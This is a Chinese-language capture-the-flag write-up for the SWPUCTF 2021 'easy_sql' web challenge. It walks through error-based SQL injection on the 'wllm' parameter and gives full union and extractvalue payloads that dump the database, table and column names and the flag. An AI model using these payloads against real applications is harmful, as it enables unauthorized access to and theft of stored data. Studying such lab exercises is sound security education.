[SWPUCTF 2021 新生赛]easy_sql
[SWPUCTF 2021 新生赛]easy_sql
题目来源:nssctf
题目类型:web
涉及考点:报错注入
1. 题目给了一个杰哥页面,要求随便传点数据
看到页面标题提示参数为wllm,那么先传入/?wllm=1
试试:
2. 接下来我们尝试union注入
有关SQL注入知识点详见:SQL注入
- 先判断闭合方式:
/?wllm=1'
回显如下:
则可以判断闭合方式为单引号闭合
- 判断字段数
/?wllm=1' group by 3--+
此处不做截图,尝试到4的时候报错,故字段数为3
- 判断回显位
/?wllm=1' union select 1,2,3--+
发现没有回显位,此时转变思路尝试报错注入
3. extractvalue报错注入
- 我们已经知道字段数了,直接爆库名:
/?wllm=1' union select 1,extractvalue(1,concat('~',(select database()))),3--+
得到库名:test_db
- 爆表名:
/?wllm=1' union select 1,extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3--+
我们直接尝试查看test_tb
内的字段名
- 爆字段名:
/?wllm=1' union select 1,extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='test_tb'))),3--+
看到flag了
- 最后查看表内数据:
/?wllm=1' and 1=extractvalue(1,concat('~',(select substring(group_concat(id,'~',flag),1,30) from test_tb)))--+
因为extractvalue()函数只能返回32个字符,因此我们使用substring()函数解决这个问题:
例如
substring("abc",1,1)
,此语句表示从第一个字符读取一个字符返回在上面的payload中,我们得到的数据中,从第一个字符起读取30个字符返回
得到一半的flag,再获取后一半:
/?wllm=1' and 1=extractvalue(1,concat('~',(select substring(group_concat(id,'~',flag),31,30) from test_tb)))--+
注意,这里的id不是2,仍然是1,因为 ~ 前没有数据,所以 ~ 之后的内容全都是flag后一半(不要加上单引号了)
拼接后得到flag:
NSSCTF{2e90636b-38b0-44be-a8557-b92ac1f5e8b5}
日期:2023.7.24
作者:y0Zero